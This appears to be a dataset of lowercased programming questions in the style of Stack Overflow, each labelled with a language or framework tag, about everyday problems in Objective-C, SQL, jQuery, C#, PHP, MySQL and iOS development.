how to generate dynamic property getter/setter   i want to add a property implementation method at runtime. add i use +resolveinstancemethod  class_addmethod to do. but below the code  in dynamicn() and dynamicsetn()  they can t be compiled and i don t know how to use c-function to set/get instance variable without synthesize property.       <pre><code>#import &lt;foundation/foundation.h&gt; #import &lt;objc/runtime.h&gt;  float dynamicn(id self  sel _cmd) {     nsstring *methodname = nsstringfromselector(_cmd);     nslog(@ %@ %@   methodname  [self description]);     // return [self n]; }  void dynamicsetn(id self  sel _cmd  float sname) {     printf( setname start;\n );     // self.n = sname;    }   @interface bird : nsobject {     int height;     float n; }  @property float n; @property int height;  @end  @implementation bird @synthesize height = height; @dynamic n;  - (id)init {     if (self = [super init]) {         n = 1.0;         height = 3;     }     return self; }  - (float) n {     return n; }  + (bool) resolveinstancemethod:(sel)asel {     if (asel == @selector(n)) {         //class_addmethod([self class]  asel  (imp) dynamicn   f@: );         //return yes;     }     if (asel == @selector(setn:)) {         class_addmethod([self class]  asel  (imp) dynamicsetn   v@:f );         return yes;     }     return [super resolveinstancemethod:asel]; } @end  int main(int argc  const char *argv[]) {     nsautoreleasepool *pool = [[nsautoreleasepool alloc] init];     bird *abird = [[bird alloc] init];     abird.n = 3;     printf( \n%f\n %d   abird.n  abird.height);     [pool drain];     return 0; } </code></pre>,objective-c
sql query produce all combinations  i have searched and looked but can t quite get the sql query to work as i need.  i have this data:   <pre><code>10019201        gee78316634770 10019201        sie78308706478 10019202        gee78316634773 10019202        sie78308706477 10019202        sie78308706499 10019202        sie78308706900 10019501        sie78308706917 10019501        gee78316634930 </code></pre>   i want to create the following output based on the fact that the first column match  the following output:   <pre><code>gee78316634770     sie78308706478 sie78308706478     gee78316634770 gee78316634773     sie78308706477 gee78316634773     sie78308706499 gee78316634773     sie78308706900 sie78308706477     gee78316634773 sie78308706477     sie78308706499 sie78308706477     sie78308706900 sie78308706499     gee78316634773 sie78308706499     sie78308706477 sie78308706499     sie78308706900 sie78308706900     gee78316634773 sie78308706900     sie78308706477 sie78308706900     sie78308706499 sie78308706917     gee78316634930 gee78316634930     sie78308706917 </code></pre>   so the first two records with 10019201 are matched up in the results as    <pre><code>gee78316634770     sie78308706478 sie78308706478     gee78316634770 </code></pre>   the next set of records with 10019202 - there are four matches so the results are:   <pre><code>gee78316634773     sie78308706477 gee78316634773     sie78308706499 gee78316634773     sie78308706900 sie78308706477     gee78316634773 sie78308706477     sie78308706499 sie78308706477     sie78308706900 sie78308706499     gee78316634773 sie78308706499     sie78308706477 sie78308706499     sie78308706900 sie78308706900     gee78316634773 sie78308706900     sie78308706477 sie78308706900     sie78308706499 </code></pre>   each one matched with the other 3.    can someone help me with the query to get the results i need     thanks! leslie,sql
"jquery datagrid group view using two fields  having a easyui jquery datagrid. need to group it based on product id and requestor. i am able to group using one field. please let me know on how to achieve this.    i have given one group field like this.    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;table id= conf_grid  class= easyui-datagrid  
  data-options= url: jsp/generate.json  method: get  
     view:groupview groupfield: req  
     groupformatter:function(value rows){return value+  -  +rows.length+  requests  ;} &gt;</code></pre>
 </div>
 </div>
     please suggest  can another field be included here or if the underlying js needs to be changed  please throw some light there.",jquery
angular js single page application  i am getting issues integrating my component developed in angular js to the existing application where it has header component and footer component which are developed in angular js.its throwing   error: argument  mainctrl  is not a function  got undefined  and referring controller name from existing components .i am planning to implement angularjs route for my component.will that help or need to implement for whole application .thanks in advance for your help,angularjs
how to set as undefined or delete certain parts  i am trying for several hours but could not find the solutions to delete or undefined parts of following codes:   <pre><code>$(document).ready(function() {     // generate a simple captcha     function randomnumber(min  max) {         return math.floor(math.random() * (max - min + 1) + min);     };     $( #captchaoperation ).html([randomnumber(1  100)   +   randomnumber(1  200)   = ].join(   ));      $( #defaultform ).bootstrapvalidator({         message:  this value is not valid           fields: {             field1: {                 message:  the field is not valid                   validators: {                     notempty: {                         message:  the field is required and can\ t be empty                      }                      stringlength: {                         min: 1                          max: 30                          message:  the field must be more than 1 and less than 30 characters long                      }                      regexp: {                         regexp: /^[a-za-z0-9_\.]+$/                          message:  the field can only consist of alphabetical  number  dot and underscore                      }                  }             }              field2: {                 message:  the field is not valid                   validators: {                     notempty: {                         message:  the field is required and can\ t be empty                      }                      stringlength: {                         min: 1                          max: 30                          message:  the field must be more than 1 and less than 30 characters long                      }                      regexp: {                         regexp: /^[a-za-z0-9_\.]+$/                          message:  the field can only consist of alphabetical  number  dot and underscore                      }                  }             }                   captcha: {                 validators: {                     callback: {                         message:  wrong answer                           callback: function(value  validator) {                             var items = $( #captchaoperation ).html().split(   )  sum = parseint(items[0]) + parseint(items[2]);                             return value == sum;                         }                     }                 }             }         }     }); }); </code></pre>   on the above script i would like to remove field1:{................}  for this following will do the job:   <pre><code>delete fields.field1; or fields.field1 = undefined; </code></pre>   but i could not understand how to use the codes.,javascript
jquery toggling all divs instead of just one  i have a bunch of div that i am going to toggle upon click. however  i do not want to have a bunch of different jquery functions to accomplish the same thing. the problem is that my current function will toggle all of the divs as opposed to just the selected one. any solutions for toggling only the one that is selected without having a bunch of jquery functions     <a href= http://jsfiddle.net/uq6xcdo5/  rel= nofollow >jsfiddle</a>    html:   <pre><code>&lt;div class= help-spacer &gt;     &lt;div class= help-info &gt;     &lt;a href=   class= help-info-link &gt;&lt;i class= fa fa-plus-circle &gt;&lt;/i&gt; hello&lt;/a&gt;     &lt;/div&gt;     &lt;div class= help-info-text  hidden&gt;         hello hello hello     &lt;/div&gt; &lt;/div&gt; &lt;div class= help-spacer &gt;     &lt;div class= help-info &gt;     &lt;a href=   class= help-info-link &gt;&lt;i class= fa fa-plus-circle &gt;&lt;/i&gt; hello&lt;/a&gt;     &lt;/div&gt;     &lt;div class= help-info-text  hidden&gt;         hello hello hello     &lt;/div&gt; &lt;/div&gt; </code></pre>   css:    <pre><code>.help-info {     background: #f1f1f1;     width: 650px;     margin: 0 auto;     padding: 15px 20px;     font-family:  open sans   serif; } .help-info-open {     background: #1795db;     width: 650px;     margin: 0 auto;     padding: 15px 20px;     font-family:  open sans   serif; } .help-info-link {     color: #5c5c5c; } .help-info-link-open {     color: #ffffff; } .help-info-text {     background: #fff;     font-family:  open sans   serif;     color: #5c5c5c;     width: 650px;     margin: 0 auto;     padding: 15px 20px;     box-shadow: 0px 1px 2px 0px rgba(0 0 0 0.2);     -moz-box-shadow: 0px 1px 2px 0px rgba(0 0 0 0.2);     -webkit-box-shadow: 0px 1px 2px 0px rgba(0 0 0 0.2);     -o-box-shadow: 0px 1px 2px 0px rgba(0 0 0 0.2); } </code></pre>   jquery:   <pre><code>$( .help-info-link ).click(function(event){     event.preventdefault();     $( .help-info ).toggleclass( help-info-open );     $( .help-info-link ).toggleclass( help-info-link-open );     $( .help-info-text ).toggle(); }); </code></pre>,jquery
ignoring parameters in c functions  i m integrating a c library into an objective-c app for ios.  i m not very c-savvy... i know just enough to be dangerous.    the c function declaration is this:   <pre><code>extern int zexport unzgetcurrentfileinfo of((unzfile file                           unz_file_info *pfile_info                           char *szfilename                           ulong filenamebuffersize                           void *extrafield                           ulong extrafieldbuffersize                           char *szcomment                           ulong commentbuffersize)); </code></pre>   i am really only interested in the <code>szfilename</code>.  i know i can ignore the <code>void*</code> and <code>char*</code> by passing <code>null</code>.  can i pass some sort of <code>null</code>-equivalent to the <code>ulong</code> params   i m getting a compiler warning about converting to pointer without a cast.    here s my loop for calling this function  in case anyone wants to comment on that.  did i do the <code>malloc</code>/<code>free</code> correctly   i m not used to the low-level c stuff.  i know people complain about objective-c reference counting but in comparison it s pretty luxurious :)   <pre><code>unz_file_info pfile_info; char *szfilename = malloc(1024); ulong filenamebuffersize; ulong commentbuffersize; ulong extrafieldbuffersize;  do {     int ret = unzgetcurrentfileinfo(zipfile  &amp;pfile_info  szfilename  filenamebuffersize  null  extrafieldbuffersize  null  commentbuffersize);     nslog(@ get info ret %i filename size %lu  filename %s   ret  pfile_info.size_filename  szfilename);     // do other stuff here with the filename } while (unzgotonextfile(zipfile) == unz_ok); free(szfilename); </code></pre>,c
how to perform a operations with inputs  values with javascript   today i created a new site where people can calculate an average beetween some numbers. i have this html code:   <pre><code>&lt;div id= content &gt;    &lt;h1&gt;calculator de medii cu teza&lt;/h1&gt;    &lt;select&gt;     &lt;option value= nr &gt;cate note ai fara teza &lt;/option&gt;   &lt;option value= 2 &gt;2&lt;/option&gt;   &lt;option value= 3 &gt;3&lt;/option&gt;   &lt;option value= 4 &gt;4&lt;/option&gt;   &lt;option value= 5 &gt;5&lt;/option&gt;   &lt;option value= 6 &gt;6&lt;/option&gt;   &lt;/select&gt;      &lt;input id= note  placeholder= scrie aici notele tale /&gt; &lt;br/&gt;   &lt;input id= teza  placeholder= scrie aici nota din teza /&gt; &lt;br/&gt;   &lt;input id= run  onclick= calc()  type= button  value= calculeaza /&gt;   &lt;input id= rezultat  readonly= true  style= font-style: italic; padding-left:-2px; !important  type= text  value= rezultatul va aprea aici /&gt;    &lt;/div&gt; </code></pre>   i want something which could calculate this ecuation:    (((nota / nr) *3) + teza) / 4    i am new here  so i really need help. thank you!,javascript
set property values from outside an object  in our project we use a castle container for resolving dependencies. basically we provide soap services for performing different tasks.   <pre><code>  public interface iservicea    {       public serviceresponse process(servicerequest request);    }     public class servicea : iservicea    {       public serviceresponse process(servicerequest request)      {          /////process stuff      }    }      public interface iserviceb    {       public serviceresponse reprocess(servicerequest request);    }     public class serviceb : iserviceb    {       private iservicea _svca;       public serviceb ()       {         _svca= container.get&lt;iservicea&gt;();        }       public serviceresponse reprocess(servicerequest request)      {         ////stuff         _svca.process(new servicerequest());       }    } </code></pre>   i can reuse the process method of svca in order to not have bloated duplicated code  but for this i need to tell svca when i call its process method   that the call is from within svcb s reprocess method  so that svca  process method can look something like    <pre><code>public serviceresponse process(servicerequest request)\ {    if (calledfromsvcb)    {     //do stuff    }    //process } </code></pre>   the restriction is i cannot modify the contract meaning the signature of the methods offered by servicea  or its types.    the only idea i came up with is :   <pre><code> public class servicea : iservicea        {          public bool iscalledfromsvcb {get; set;}           public serviceresponse process(servicerequest request)          {              /////process stuff          }        }  public class serviceb : iserviceb    {       private iservicea _svca;       public serviceb ()       {         _svca= container.get&lt;iservicea&gt;();        }       public serviceresponse reprocess(servicerequest request)      {         _svca.gettype().getproperty( iscalledfromsvcb  ).setvalue(this  true);         ////stuff         _svca.process(new servicerequest());       }    } which is really ugly. any other ideas to inject this   </code></pre>,c#
how to refer to the target value of list/dictionary comprehension in condition clause   in the following examples    <pre><code>[f(a) for a in range(10) if f(a) &lt; 50] {k: f(a) for k in range(10) if f(a) &lt; 50} </code></pre>   is it possible to eliminate the repeated <code>f(a)</code>  without introducing a wrapping list/dictionary comprehension,python
sql how to do a pivot of one column regardless of the data  i basically need to change multiple rows into one row    so basically i have the follow results   <pre><code>myid   apple   bear   tiger </code></pre>   and i want to change this into <code>apple</code>|<code>bear</code>|<code>tiger</code>   but how can i do these with a pivot not knowing what the data result is going to be   i tried     <code>select * from (select top (3) myid from mytable) src pivot (max (myid ) for myid in ([1]  [2]  [3])) piv;</code>    but the data isnt [1]  [2]  [3],sql
query results contain null fields even when i ve specified  is not null  on the field  i have two tables that i m doing a <code>left join</code> on to get all records from the first table regardless if there s a match from the second table.    i discovered that sometimes <code>null</code> comes back on the join column.  i put in a where clause to filter out records that have <code>null</code> in the join column and yet i m still seeing these records.    what do i need to change in the <code>sql</code> below in order to filter out records that have a <code>null</code> in the join column    <pre><code>select folders.folderid  folders.lastupdated  folder.foldername  folder.folderparentid from dbo.xsdl_folder folder left join dbo.folders folders on folder.folderid = folders.folderid where folder.folderid is not null; </code></pre>,sql
how to get commandargument of button inside listview using javascript in asp.net  i am working on an asp.net application in which i have a listview in which there is a linkbutton. i want to get commandargument of the button which is inside the listview. i have used following  code:   <pre><code>&lt;asp:listview id= listview5  runat= server  onitemdatabound= listview5_itemdatabound &gt;  &lt;itemtemplate&gt;  &lt;li&gt;      &lt;asp:image runat= server  style= width: 50px; height: 50px;  id= image1  imageurl= &lt;%#eval( image ) %&gt;  /&gt;         &lt;asp:hiddenfield id= lblwallid  runat= server  value= &lt;%#eval( wall_id ) %&gt; &gt;&lt;/asp:hiddenfield&gt;         &lt;p&gt;          &lt;asp:linkbutton id= linkid  runat= server  commandargument= &lt;%#eval( uid ) %&gt; &gt;            &lt;asp:label id= lbl1  runat= server  text= &lt;%#eval( full_name ) %&gt; &gt;&lt;/asp:label&gt;    &lt;/asp:linkbutton&gt;   &lt;/p&gt;  &lt;p&gt;      &lt;asp:label id= label1  runat= server  text= &lt;%#eval( wall_content ) %&gt; &gt;&lt;/asp:label&gt; &lt;/p&gt;  &lt;p&gt;      &lt;asp:label id= lbltime  cssclass= time-text  runat= server  text= &lt;%#eval( timeago ) %&gt; &gt;&lt;/asp:label&gt; &lt;/p&gt;  &lt;p&gt;          &lt;asp:linkbutton id= btnclick  runat= server  text= comment  onclientclick= savecom(this);  commandargument= &lt;%#eval( wall_id ) %&gt;  commandname= comment &gt;&lt;/asp:linkbutton&gt;                                                     &lt;/p&gt;                                                   &lt;/li&gt;                                     &lt;/itemtemplate&gt;                                 &lt;/asp:listview&gt; </code></pre>   the javascript function is:   <pre><code>&lt;script type= text/javascript &gt;         function savecom() {             var val = $(this).commandargument(); &lt;/script&gt; </code></pre>,asp.net
how to put a php variable in the directory path in php  i have to go one folder back.     i have also tried using <code>.</code> but it is just going a directory back and cant find the exact path.   <pre><code>$target //is some php variable $target_path =  ../ +$target+  ; </code></pre>,php
best way to count how many times per second the method is called  i have dll method that should be  qosed  - this method should be called maximum 100 times per second.:   <pre><code>    private static extern int exectrans(int connectionid); </code></pre>   this method used only in one place in program so it s ok to qos this place. i need separate  qos counter  for each <code>connectionid</code>. so <code>exectrans(1)</code> and <code>exectrans(2)</code> should go to different counters.    at first iteration i would like to count how often method is called (for each <code>connectionid</code>). i.e. i want to have  live statistics . there are two approach:   <pre><code>- allow to exceed limitiation for a short period. for example allow  100 transaction from 0 to 1 second  100 transaction from 1 to 2 seconds and 200 transactions from 0.5 to 1.5 second . - at any second interval transactions should not exceed 100. </code></pre>   for now i don t care which of these methods to use but i would select one creating less  overhead . i want qos to add as less  extra-work  as possible because it s trading software sensitive to every 0.1 ms.    as for first approach i think i can use something like that (pseude-code  probably <code>stats</code> and <code>curstats</code> should be made thread-safe):   <pre><code>private int[] stats      // statistic to display to user private int[] curstats;  // statistic currently collection  ononesecondelapsed(object source  elapsedeventargs args) {     foreach (conid : connids) {         stats[conid] = curstats[conid];         curstats[conid] = 0;     } }  mymethod {     ......     exectrans(conid);     ++curstats[conid];     ...... } </code></pre>   as for second approach.... is it possible to make a collection where objects life for exactly one second and after a second disappear  then every time i will add the next object to a collection unless collection contains 100 objects.    what do you think  i m not familar with c# library files so probably i m missing some useful classess  probably you can suggest another approach.,c#
objective-c ensure that var-arg parameters are of the correct type and count  in objective-c how do you ensure that if you have a function that takes variable parameters that the format specifiers align with the actual parameters that are passed to the functoin,objective-c
c++ inheritence base and sub class  this is my base class shape.h   <pre><code>#ifndef shape_h #define shape_h  #include &lt;iostream&gt; using namespace std;  class shape {     protected:     string name;     bool containsobj;  public:     shape();     shape(string  bool);     string getname();     bool getcontainsobj();     double computearea(); };     #endif </code></pre>   shape.cpp   <pre><code>#include  shape.h   shape::shape(string name  bool containsobj) {     this -&gt; name = name;     this -&gt; containsobj = containsobj; } string shape:: getname() { return name; } bool shape::getcontainsobj() {     return containsobj; } </code></pre>   and this is my sub class. cross.h   <pre><code>#ifndef cross_h #define cross_h  #include &lt;iostream&gt; #include  shape.h  using namespace std;  class cross: public shape { protected:     int x[12];     int y[12]; public:     cross();     double computearea();  };  #endif </code></pre>   cross.cpp   <pre><code>#include  cross.h   cross::cross() {      for (int i = 0; i &lt; 12; i++)     {         this -&gt; x[i] = 0;         this -&gt; x[0] = 0;     }  } </code></pre>   shape and cross are in different files  but inside the same folder. the weird thing is when i compile this  errors that i have never seen before came up such as  in function  zn5crossc1ev   undefined reference to shape::shape()  zn5crossc1ev   undefined reference to shape::shape()  undefined reference to winmain@16 .    i tried to do some debugging myself. when i remove the cross constructor  it works fine. but i definitely need it. can anyone explain this to me,c++
updating mysql with average score  i have two tables fluids and cas and i m trying to update a related table fluids with the average score from the cad table. something like this:   <pre><code>update fluids inner join cas on cas.cas = fluids.cas  set fluids.score = avg(cas.score) group by cas.cas </code></pre>,mysql
problem regarding displaying decimal values in c program  the data-type  float  displays decimal numbers. by default my compiler displays up-to 6 decimals. i want to see only two decimals. for eg   when the compiler performs the operation  c=2/3  it displays  0.666666667 . i want to see only  0.67  in my output screen. so what necessary changes should i make in the c program,c
how can i create new attribute based on img src and use original src value for another   i want to use lazy load which requires an attribute named  data-original  which points to the original image src value.  i can create the new  data-original  with the value from the src attr like this without a problem:   <pre><code>  $( img.lazy ).each(function() {     a =  $(this).attr( src );         $(this).attr( data-original   a);    });  </code></pre>   but  if i follow with this (which lazy load needs the src value to be):   <pre><code>  $( img.lazy ).each(function() {     b =   img/grey.gif ;         $(this).attr( src   b);    });  </code></pre>   the data-original and src atrr both become  img/grey.gif     thanks from the newbie!,jquery
cocoa objective c - how to end editing of nstextfield when user presses enter key or clicks out side text box  i have created two cocoa controls on my gui. nsbutton and nstextfield. when user clicks on the button  button handler will be executed. it will make button disable and nstextfield enable. on end editing  the string of text field will be shown as a button title.    <pre><code>button click {  - make button visible = false;  - make text field visible = true;  - text field allow selection = true;  - text field allow editing = true; }  control text end editing {   - text field allow selection = false;   - text field allow editing = false;   - set button title as text field string;   - set text field visible = false;   - set button visible = true; } </code></pre>   i have written above two functions to achieve the functionality. i am getting required functionality when user presses tab key  as the view switches to next view. but  i want that  once user enters required text in the text field  he can press enter or click outside of text field to end editing.    on end editing  text field should be closed and text written should be displayed as a title of button.    please let know  how this functionality can be achieved. any help would be appreciated.    thanks in advance...,objective-c
something wrong in mysql trigger  i have two mysql tables - <strong>employee</strong> and <strong>employee_log</strong>    i have written below trigger for it  intention is  what data is inserted in <strong>employee</strong> same data should be inserted in <strong>employee_log</strong>.   <pre><code>    delimiter |     create trigger `emp`       after insert on `employee`      for each row       begin       insert into employee_log (id userid firstname lastname)       values (new.id new.userid new.firstname new.lastname);       end | </code></pre>   above trigger is executes well     now i have tried insert record in employee table it is giving me below error  i have no idea what went wrong here  please help ..      <pre><code>     error is -  #1436 - thread stack overrun: 5848 bytes used of a 131072 byte stack  and 128000 bytes needed. use  mysqld -o thread_stack=#  to specify a bigger stack.    </code></pre>,mysql
calculated fields: to store in db or not to store   i am building a ruby on rails application where a user can learn words from a story (having many stories on his list of stories to learn from)  and conversely  a story can belong to many users. although the story is not owned by the user (it s owned by the author)  the user can track certain personal things about each story that relate to him and only to him  such as how many words are left to learn in each of his stories (which will obviously differ from user to user).    currently  i have a has_many :through relationship set up through a third table called users_stories. my concern/question has to do with  calculated fields : is it really necessary to store things like words_learnt_in_this_story (or conversely  words_not_yet_learnt_in_this_story) in the database  it seems to me that things like this could be calculated by simply looking at a list of all the words that the user has already learnt (present on his learnt_words_list)  and then simply contrast/compare that master list with the list of words in the story in order to calculate how many words are unlearnt.    the dilemma here is that if this is the case  if all these fields can simply be calculated  then there seems to be no reason to have a separate model. if this is the case  then there should just be a join model in the middle and have it be a has_and_belongs_to_many relationship  no  furthermore  in such a scenario  where do calculated attributes such as words_to_learn get stored  or maybe they don t need to get stored at all  and rather just get calculated on the fly every time the user loads his homepage     any thoughts on this would be much appreciated! thanks  michael.,ruby-on-rails
changing a calculated value in a label when a button is pressed in c#  i m relatively new to programming; i know the basics of c and even less in c#.  i m trying to write a program for my job that will allow the user to enter a value  this value will increase or decreased a contract amount.  i ve looked everywhere and can t find the exact answer i need.  i tried a for loop until i read that a windows form is a loop.    the issue i m having is every time a user enters a second value the program calculates the amount from the original contract value  it s not keeping the updated value after the calculation. if i was writing this as a console app i could figure out but i don t have a lot of experience with forms.     here is my code for the button_click:   <pre><code>private void button1_click(object sender  eventargs e)     {         const double contract_balance = 229481.65;         const double sub_balance = 196817.63;          double subbal = sub_balance;         double bal = contract_balance;         double enterpayment = 0;           subballabel.text = subbal.tostring( c );         balancelabel.text = bal.tostring( c );               //user input payment             enterpayment = double.parse(paycotextbox.text);              // balances             subbal = subbal + enterpayment;             bal = bal + enterpayment;               // text labels              subballabel.text = subbal.tostring( c );             balancelabel.text = bal.tostring( c );                // update balance label             subballabel.update();             balancelabel.update();                // clear text box             paycotextbox.clear(); </code></pre>,c#
print decimal value of a char  program to print decimal value of a char:    <pre><code>#include&lt;stdio.h&gt;  int main(void){    char ch =  ab ;   printf( ch is %d\n  ch);  } </code></pre>   why it is printing the decimal value of second character why not the first character s decimal value     output : <code>ch is 66</code>,c
how to access a value inside the loop for my program <pre><code>using system; using system.io;  namespace fileapplication {     class program     {         static void main(string[] args)         {             string a  b;             int x  y  sum;             string line1  line2;                   console.writeline( enter the file name with location : );                 a = console.readline();                 console.writeline( enter the second file name with location : );                 b = console.readline();               using (streamreader sr = new streamreader(a))                 {                      while ((line1 = sr.readline()) != null)                     {                         console.writeline( value in the first file is : +line1);                      }                 }                 using (streamreader sr = new streamreader(b))                 {                      while ((line2 = sr.readline()) != null)                     {                         console.writeline( value in the second file is :  + line2);                       }                 }                 x = convert.toint32(line1);                 y = convert.toint32(line2);                 console.writeline( values are :  + line1  line2);                 console.writeline( values are :  + x  y);                 sum = x + y;                 console.writeline( the sum of values in both the file is :  + sum);                console.readkey();         }     } } </code></pre>   i cant take the values from the while loop so that i can convert them to int and do an addition. what should i do,c#
include inside function (curl)  my settings file with the url is config.php  config.php contains yoursite.com    i want to use curl_init() function  like    curl_init(include config.php/file.php); something like that  is that possible,php
what is the iphone api or class that does picture scrolling with the cool reflection effect   for example  in cnn s iphone app  if you rotate the phone into landscape mode  it shows all the stories as pictures that you can scroll with your finger. it looks really polished with even a  reflection  effect. i ve seen another app also do this  leading me to believe that it is a standard iphone sdk api. here is a link to a screenshot from the cnn app so you can see what i m talking about:    <a href= http://www.itnewsafrica.com/ p=8422  rel= nofollow >http://www.itnewsafrica.com/ p=8422</a>    anyone know what class this is     thanks!,iphone
css width issue on responsive  this is my fiddle: <a href= http://jsfiddle.net/o7pfjv3w/  rel= nofollow >http://jsfiddle.net/o7pfjv3w/</a>. i trying to give to the <strong>grid</strong> class a <code>margin-left:10px</code> and <code>margin-right:10px;</code> but a scrollbar shows up. how do i get rid of it      css code:   <pre><code>.main{width: 100%;border:1px solid black;overflow:auto;display:block;} .grid{width:100%; margin-left:10px;margin-right:10px} </code></pre>   html code:   <pre><code>&lt;div&gt;    &lt;div class= main &gt;        &lt;div class= grid &gt;           &lt;p&gt;ppppppppppppppp pppppppppppppppppppppppppppppp ppppppppppppppppppppppp ppppppppppppppp&lt;/p&gt;        &lt;/div&gt;    &lt;/div&gt; &lt;/div&gt; </code></pre>,css
selecting data in a view and inserting them in users database  i am reading the contact informations of users from <code>outlook api</code>  and i would like to add them to my users database using a <code>submit_tag</code> approach. but it does not work. so far my form on <code>index.html.erb</code> looks like:   <pre><code>&lt;h1&gt;my contacts&lt;/h1&gt; &lt;table class= table &gt;   &lt;tr&gt;     &lt;th&gt;first name&lt;/th&gt;     &lt;th&gt;last name&lt;/th&gt;     &lt;th&gt;email&lt;/th&gt;   &lt;/tr&gt;  &lt;%= form_tag import_contacts_path  method: :put do %&gt;   &lt;%= submit_tag  import selected contact  %&gt;    &lt;% @contacts.each do |contact| %&gt;     &lt;tr&gt;       &lt;td&gt; &lt;%= check_box_tag  contact_ids[]    select  %&gt;&lt;/td&gt;         &lt;td&gt;&lt;%= contact.given_name %&gt;&lt;/td&gt;       &lt;td&gt;&lt;%= contact.surname %&gt;&lt;/td&gt;       &lt;td&gt;&lt;%= !contact.email_addresses[0].nil    contact.email_addresses[0].address :    %&gt;&lt;/td&gt;     &lt;/tr&gt;   &lt;% end %&gt; &lt;/table&gt;     &lt;%= submit_tag  import selected contactact  %&gt; &lt;% end %&gt; </code></pre>   my contactcontroller looks like:   <pre><code>class contactscontroller &lt; applicationcontroller    include authhelper    def index     token = get_access_token     if token       # if a token is present in the session  get contacts       callback = proc.new do |r|         r.headers[ authorization ] =  bearer #{token}        end        graph = microsoftgraph.new(base_url:  https://graph.microsoft.com/v1.0                                    cached_metadata_file: file.join(microsoftgraph::cached_metadata_directory   metadata_v1.0.xml )                                   &amp;callback)        @contacts = graph.me.contacts.order_by( givenname asc )     else       # if no token  redirect to the root url so user       # can sign in.       redirect_to root_url     end   end    def import     user.create(:first_name =&gt; @contacts.givenname   :last_name =&gt; @contacts.surname  :email =&gt; @contacts.email_addresses)     redirect_to imported_path   end  end </code></pre>   i can read my contact information without any problem  but when i try clicking on the button to import a selection of contact  i have the following error:   <pre><code>nomethoderror (undefined method `givenname  for nil:nilclass):  app/controllers/contacts_controller.rb:26:in `import  </code></pre>   my routes look like    <pre><code>   resources  contacts  do       collection do         put :import       end </code></pre>   does anyone knows if it is actually possible to create such import function   because  i am trying to read something that is not on a local database actually.,ruby-on-rails
how can i print particular table from a web page   i need to print a arithmetic operators table in same table format alignment as <a href= http://u3schools.com/tutorial/php/php_operators.jsp  rel= nofollow noreferrer >http://u3schools.com/tutorial/php/php_operators.jsp</a>. is it possible,html
java  having a hard getting my print class to print my other class information  please help these are my codes <pre><code>// my first class public class firstproject{ int first_number;  public firstproject(){     first_number = 0; } public firstproject(int fn){     first_number = fn; } public void print(){     system.out.println( first number =   + first_number); system.out.println(); } </code></pre>   }    //second class in a separate file // keep getting an error on this class saying that cannot find the . in p1.print();   <pre><code>public class testprogram { public static void main(string[] args){      firstproject p1 = new firstproject(10);       p1.print(); system.out.println();    } </code></pre>,java
newbie having trouble redirecting to a url...here s my code. is what i m trying to accomplish possible   i am trying to redirect based on a users input from another page. or i want them to be able to view a specific file based on their input. first here is the code to direct them to a specific webpage based on their input.   <pre><code>&lt; php     $user1=999;     $user2=100;     $user3=200;  $account=$_post[ account ];  if ($account==$user1)    {     header( location: http://menu.html );    } elseif ($account==$user2)    {     header( location: http://services.html );    } elseif ($account==$user3)    {         header( location: http://about.html ); else    {     echo  this don t work ;    }  &gt; </code></pre>   edit - i ve tried all the responses and comments in this thread and i am still having the same problem. the only thing i m getting after i input the number is a blank page.,php
i am unable to display an parsed xml on table view :(  please can any one correct my silly mistake as i am unable to show my parsed xml to the table view.     i want my  tag to be displayed on table view. here is my code (ignore my syntax ... as i am unable to paste it correctly here)....   <blockquote>    xml to be parsed  </blockquote>  <pre><code>&lt;table&gt;&lt;category&gt;&lt;name&gt;books&lt;/name&gt;&lt;cid&gt;2&lt;/cid&gt;&lt;logo&gt;http://litofinter.es.milfoil.arvixe.com/thumbnail/5.png&lt;/logo&gt;&lt;product&gt;&lt;pid&gt;55&lt;/pid&gt;&lt;title&gt;un producto para cada necesidad&lt;/title&gt;&lt;thumbnail&gt;http://litofinter.es.milfoil.arvixe.com/thumbnail/book3.png&lt;/thumbnail&gt;&lt;pdf&gt;http://litofinter.es.milfoil.arvixe.com/pdf/book6.pdf&lt;/pdf&gt;&lt;/product&gt;&lt;product&gt;&lt;pid&gt;58&lt;/pid&gt;&lt;title&gt;quitamanchas pistola&lt;/title&gt;&lt;thumbnail&gt;http://litofinter.es.milfoil.arvixe.com/thumbnail/book9.png&lt;/thumbnail&gt;&lt;pdf&gt;http://litofinter.es.milfoil.arvixe.com/pdf/book7.pdf&lt;/pdf&gt;&lt;/product&gt;&lt;/category&gt;&lt;/table&gt; </code></pre>   code   <pre><code>#tableviewcontroller.h:   @class book;  @interface tableviewcontroller : uiviewcontroller&lt;uitableviewdatasource uitableviewdelegate&gt; {      iboutlet uibutton *btnback;     iboutlet uitableview *tableview;     book *bookone;     nsmutablearray *array; }  -(ibaction)ontapback;  @property (nonatomic  retain)iboutlet uitableview *tableview;   @end  #tableviewcontroller.m  import  tableviewcontroller.h  import  xmltableappdelegate.h  import  book.h   @implementation tableviewcontroller   @synthesize tableview;  -(ibaction)ontapback {     uialertview *alert = [[uialertview alloc]initwithtitle:@ message from mac  message:@ trail  delegate:self cancelbuttontitle:@ cancel  otherbuttontitles:@ ok  nil];     [alert show]; }   - (nsinteger)tableview:(uitableview *)tableview numberofrowsinsection:(nsinteger)section {     return [array count]; }  - (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {      uitableviewcell *cell = [[uitableviewcell alloc]initwithstyle:uitableviewcellstyledefault reuseidentifier:nil];     cell.accessorytype = uitableviewcellaccessorydisclosureindicator;     cell.selectionstyle = uitableviewcellselectionstyleblue;     book *book = [[book alloc]init];     book = [array objectatindex:indexpath.row];      cell.textlabel.text = book.arraystring;     [book release];      [cell autorelease];     return cell; }   // implement viewdidload to do additional setup after loading the view  typically from a nib. - (void)viewdidload {     [super viewdidload];      tableview.delegate = self;     tableview.datasource = self;      //bookone = [[book alloc]init];     array = [[nsmutablearray alloc]init];     [array addobject:@ mac ];     [array addobject:@ mayank ];     [array addobject:@ manu ];  }  -(void)viewwillappear:(bool)animated{      [tableview reloaddata]; }    - (void)dealloc {     [super dealloc];     [tableview release];     [btnback release]; }  #book.h   @interface book : nsobject {       nsmutablestring *arraystring;  }  @property(nonatomic retain) nsmutablestring *arraystring;  @end  #book.m  import  book.h    @implementation book  @synthesize arraystring;  -(void)dealloc {     [super dealloc];      [arraystring release]; }  @end </code></pre>,iphone
to change the uitableviewcell shape to round rect  how to change shape of rectangular `uitableviewcell (showing customer1 in screenshot<img src= https://i.stack.imgur.com/bm8eb.png  alt= enter image description here >) to round rect,iphone
